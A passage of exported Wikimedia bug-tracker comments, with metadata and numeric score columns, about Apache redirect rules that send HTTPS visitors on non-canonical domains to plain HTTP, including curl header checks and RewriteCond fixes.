We could go for a build process. Where the thing is auto-generated adding one for each with the HTTPS case.",,,1340850119,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,1.0,0.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,1.5,0.0,3.5,4.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,0.0,0.5,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.0,1.5,17.0,1.0,2.5,5.5,0.0,0.0,0.0,0.5,4.0,0.0,1.5,0.0,3.0,4.5,8.0,0.0,0.0,0.0,3.0,0.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,3.3772647574517825,0.6338398597311514,"(In reply to comment #24)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Indeed. The spec says it should be absolute and apache doesn't support relative. But, browsers (the ones I've tested) do and always have supported relative Location headers. But anyway, as you say, a no-go.

QUOTE
QUOTE

We could go for a build process. Where the thing is auto-generated adding one for each with the HTTPS case."
152771,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #23)
> Actually there is dozens and dozens more:
> 
> https://gerrit.wikimedia.org/r/gitweb?p=operations/apache-config.git;a=blob;f=redirects.conf;h=a777adf9dfb5f8652289c7855b06e5be43767a9b;hb=HEAD#l176

Right. The question is whether these can be solved in a simpler/cleaner/saner way than specifying ""RewriteCond %{HTTPS} off"" and ""RewriteCond %{HTTPS} on"" a million times.

According to my reading of <http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.30>, the Location header must be an absolute URI. Someone suggested that switching these rules to use protocol-relative syntax might resolve this bug, but in addition to the HTTP spec, Apache's rewrite/redirect logic apparently interprets any string beginning with a ""/"" to be a relative URI path, so that option is a no-go.

As I said earlier, %{HTTPS} might be best... but it's going to result in an awful lot of code duplication for one letter.",,,1340849900,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0.5,0.5,0.0,0.5,0.0,4.5,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.5,1.5,11.5,0.5,2.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.5,3.0,0.0,0.5,2.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,14.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.5,3.5,11.5,1.5,1.5,8.5,0.0,0.0,0.0,0.5,4.5,0.5,1.5,0.0,1.5,11.5,6.0,0.0,3.0,0.0,1.5,0.0,0.0,4.0,0.0,2.5,1.5,0.5,0.5,3.6333333333333333,0.7641203703703703,"(In reply to comment #23)
QUOTE
QUOTE
QUOTE

Right. The question is whether these can be solved in a simpler/cleaner/saner way than specifying ""RewriteCond %{HTTPS} off"" and ""RewriteCond %{HTTPS} on"" a million times.

According to my reading of <URL the Location header must be an absolute URI. Someone suggested that switching these rules to use protocol-relative syntax might resolve this bug, but in addition to the HTTP spec, Apache's rewrite/redirect logic apparently interprets any string beginning with a ""/"" to be a relative URI path, so that option is a no-go.

As I said earlier, %{HTTPS} might be best... but it's going to result in an awful lot of code duplication for one letter."
152765,Non-canonical HTTPS URLs quietly redirect to HTTP,"Actually there is dozens and dozens more:

https://gerrit.wikimedia.org/r/gitweb?p=operations/apache-config.git;a=blob;f=redirects.conf;h=a777adf9dfb5f8652289c7855b06e5be43767a9b;hb=HEAD#l176

Just to take out a few random ones:
* https://dk.wikipedia.org
* https://wikibooks.org
* https://textbook.wikipedia.org
* https://aa.wikiversity.com
* https://quote.wikipedia.org
* https://wikimania.wikimedia.org",,,1340848427,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,24.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,2.6315789473684212,0.5,"Actually there is dozens and dozens more:

URL

Just to take out a few random ones:
* URL
* URL
* URL
* URL
* URL
* URL"
152757,Non-canonical HTTPS URLs quietly redirect to HTTP,"Test cases

* https://mediawiki.org
* https://wikimedia.org
* https://wikipedia.org
* https://www.wikisource.org
* https://www.wikimediafoundation.org

RT tickets (I believe):

* RT #1668
* RT #2847
* RT #2783",,,1340842379,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,3.0,0.0,23.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.1794871794871793,0.41025641025641024,"Test cases

* URL
* URL
* URL
* URL
* URL

RT tickets (I believe):

* RT #1668
* RT #2847
* RT #2783"
152750,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 36952 has been marked as a duplicate of this bug. ***,,,1340842014,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 36952 has been marked as a duplicate of this bug. ***
152741,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 36951 has been marked as a duplicate of this bug. ***,,,1340841963,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 36951 has been marked as a duplicate of this bug. ***
152731,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 35740 has been marked as a duplicate of this bug. ***,,,1340841945,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 35740 has been marked as a duplicate of this bug. ***
152723,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 33751 has been marked as a duplicate of this bug. ***,,,1340841921,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 33751 has been marked as a duplicate of this bug. ***
152715,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #4)
> It's unclear whether this bug should be expanded to
> cover the other (several dozen) similar cases in redirects.conf. It's also
> unclear whether there's a saner system to do this. %{HTTPS} might be best...
> but it's going to result in an awful lot of code duplication for one letter.

Well, it's clearer now that there's a mess of bugs about the exact same issue. I'm going to make some noise and dupe them all down to this bug, as it came first and it contains reasonably useful back-and-forth between me and Daniel. I'll aggregate a few test cases and RT links in a single comment as well, I guess.

This means bug 33751 (redirects.conf), bug 35740 (Wikisource), bug 36951 (wikimediafoundation.org), bug 36952 (tracking bug) will be marked as duplicates.

I'm changing this bug's summary from ""https://mediawiki.org redirects to http://www.mediawiki.org/"" to ""Certain Wikimedia redirects improperly go from HTTPS to HTTP; Apache's redirects.conf needs adjustments"".",,,1340841883,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,1.5,0.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.5,3.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.5,1.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,15.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,12.0,0.5,2.5,5.0,0.0,0.0,0.0,0.5,3.5,0.5,3.0,0.0,5.0,9.0,5.5,0.0,2.0,0.0,5.0,0.0,0.0,1.5,1.0,1.0,0.5,0.0,0.5,3.7349074975657253,0.6939305420318078,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

Well, it's clearer now that there's a mess of bugs about the exact same issue. I'm going to make some noise and dupe them all down to this bug, as it came first and it contains reasonably useful back-and-forth between me and Daniel. I'll aggregate a few test cases and RT links in a single comment as well, I guess.

This means bug 33751 (redirects.conf), bug 35740 (Wikisource), bug 36951 (wikimediafoundation.org), bug 36952 (tracking bug) will be marked as duplicates.

I'm changing this bug's summary from ""URL redirects to URL to ""Certain Wikimedia redirects improperly go from HTTPS to HTTP; Apache's redirects.conf needs adjustments""."
152708,Non-canonical HTTPS URLs quietly redirect to HTTP,"The issue must be in redirects.conf from operations/apache-config 

Gitweb:
https://gerrit.wikimedia.org/r/gitweb?p=operations/apache-config.git

Clone:
https://gerrit.wikimedia.org/r/p/operations/apache-config.git",,,1337381717,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-67,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.772727272727273,0.8181818181818182,"The issue must be in redirects.conf from operations/apache-config 

Gitweb:
URL

Clone:
URL"
152703,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #14)
> Oh my god.
> Well http://wikimedia.org/ has the same issue :-)

You mean <https://wikimedia.org>, but yes, it appears to have the same issue:

$ curl -Is ""https://wikimedia.org/"" | grep Location
Location: http://www.wikimedia.org/",,,1329863981,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-80,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,5.0,7.0,10.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.951219512195122,0.7804878048780488,"(In reply to comment #14)
QUOTE
QUOTE

You mean <URL but yes, it appears to have the same issue:

$ curl -Is ""URL | grep Location
Location: URL"
152698,Non-canonical HTTPS URLs quietly redirect to HTTP,"Oh my god.
Well http://wikimedia.org/ has the same issue :-)",,,1329815193,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-80,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,25.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,1.0,"Oh my god.
Well URL has the same issue :-)"
152692,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #12)
> issue seems to be fixed now. Daniel ""mutante"" Zahn did some tweaks last week :
> 
> With curl (-I show headers, -L follow Location: hints)
> 
> Without trailing slash:
> $ curl -IL https://www.mediawiki.org 2>/dev/null|grep Location
> Location: https://www.mediawiki.org/wiki/MediaWiki
> $
> 
> With trailing slash:
> $ curl -IL https://www.mediawiki.org/ 2>/dev/null|grep Location
> Location: https://www.mediawiki.org/wiki/MediaWiki
> $
> 
> Seems fixed to me so :)

Err, your test case is flawed. This bug is about ""https://mediawiki.org"", not ""https://www.mediawiki.org"" (comment 0 and bug summary).

$ curl -Is ""https://mediawiki.org"" | grep Location
Location: http://www.mediawiki.org/

This behavior is still wrong.",,,1329762844,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-80,True,0.0,0.0,0.0,0.0,1.0,2.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,30.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,1.0,4.0,21.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0238095238095237,0.4523809523809524,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Err, your test case is flawed. This bug is about ""URL not ""URL (comment 0 and bug summary).

$ curl -Is ""URL | grep Location
Location: URL

This behavior is still wrong."
152687,Non-canonical HTTPS URLs quietly redirect to HTTP,"issue seems to be fixed now. Daniel ""mutante"" Zahn did some tweaks last week :

With curl (-I show headers, -L follow Location: hints)

Without trailing slash:
$ curl -IL https://www.mediawiki.org 2>/dev/null|grep Location
Location: https://www.mediawiki.org/wiki/MediaWiki
$

With trailing slash:
$ curl -IL https://www.mediawiki.org/ 2>/dev/null|grep Location
Location: https://www.mediawiki.org/wiki/MediaWiki
$

Seems fixed to me so :)",,,1329754001,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-80,True,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,19.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,3.0,0.0,1.0,6.0,16.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.5063291139240507,0.5569620253164557,"issue seems to be fixed now. Daniel ""mutante"" Zahn did some tweaks last week :

With curl (-I show headers, -L follow Location: hints)

Without trailing slash:
$ curl -IL URL 2>/dev/null|grep Location
Location: URL
$

With trailing slash:
$ curl -IL URL 2>/dev/null|grep Location
Location: URL
$

Seems fixed to me so :)"
152683,Non-canonical HTTPS URLs quietly redirect to HTTP,whoops thinking of the wrong thing,,,1319598233,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-96,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.833333333333333,1.0,whoops thinking of the wrong thing
152679,Non-canonical HTTPS URLs quietly redirect to HTTP,Apparently this has been fixed,,,1319598213,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-96,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,Apparently this has been fixed
152675,Non-canonical HTTPS URLs quietly redirect to HTTP,"For the interested, Ryan Lane says on RT that he hasn't had time to do anything with HTTPS right now, but he is aware of it.",,,1319131439,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-97,True,0.0,3.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,20.0,13.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,0.9333333333333333,"For the interested, Ryan Lane says on RT that he hasn't had time to do anything with HTTPS right now, but he is aware of it."
152669,Non-canonical HTTPS URLs quietly redirect to HTTP,"Still not fixed. bumping rt ticket as well.
http://rt.wikimedia.org/Ticket/Display.html?id=1668",,,1319035179,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-97,True,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.3333333333333335,0.9166666666666666,"Still not fixed. bumping rt ticket as well.
URL"
152660,Non-canonical HTTPS URLs quietly redirect to HTTP,Yeah. I'm going to fix this after the hack-a-ton.,,,1318701870,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,2.5625,0.875,Yeah. I'm going to fix this after the hack-a-ton.
152650,Non-canonical HTTPS URLs quietly redirect to HTTP,This is one of the more evil HTTPS bugs I've seen.. could lead people to believe they're using HTTPS when they're not. Elevating importance and severity.,,,1318700141,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,16.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,9.0,6.0,6.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,4.0,0.875,This is one of the more evil HTTPS bugs I've seen.. could lead people to believe they're using HTTPS when they're not. Elevating importance and severity.
152642,Non-canonical HTTPS URLs quietly redirect to HTTP,turned this into an RT ticket as well...,,,1317859704,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,turned this into an RT ticket as well...
152637,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #3)
> Like this?
> 
>     RewriteCond %{HTTPS} off
>     RewriteCond %{HTTP_HOST} mediawiki.org
>     RewriteRule ^/(.*)$ http://www.mediawiki.org/$1 [R=301,L]
> 
>     RewriteCond %{HTTPS} on
>     RewriteCond %{HTTP_HOST} mediawiki.org
>     RewriteRule ^/(.*)$ https://www.mediawiki.org/$1 [R=301,L]

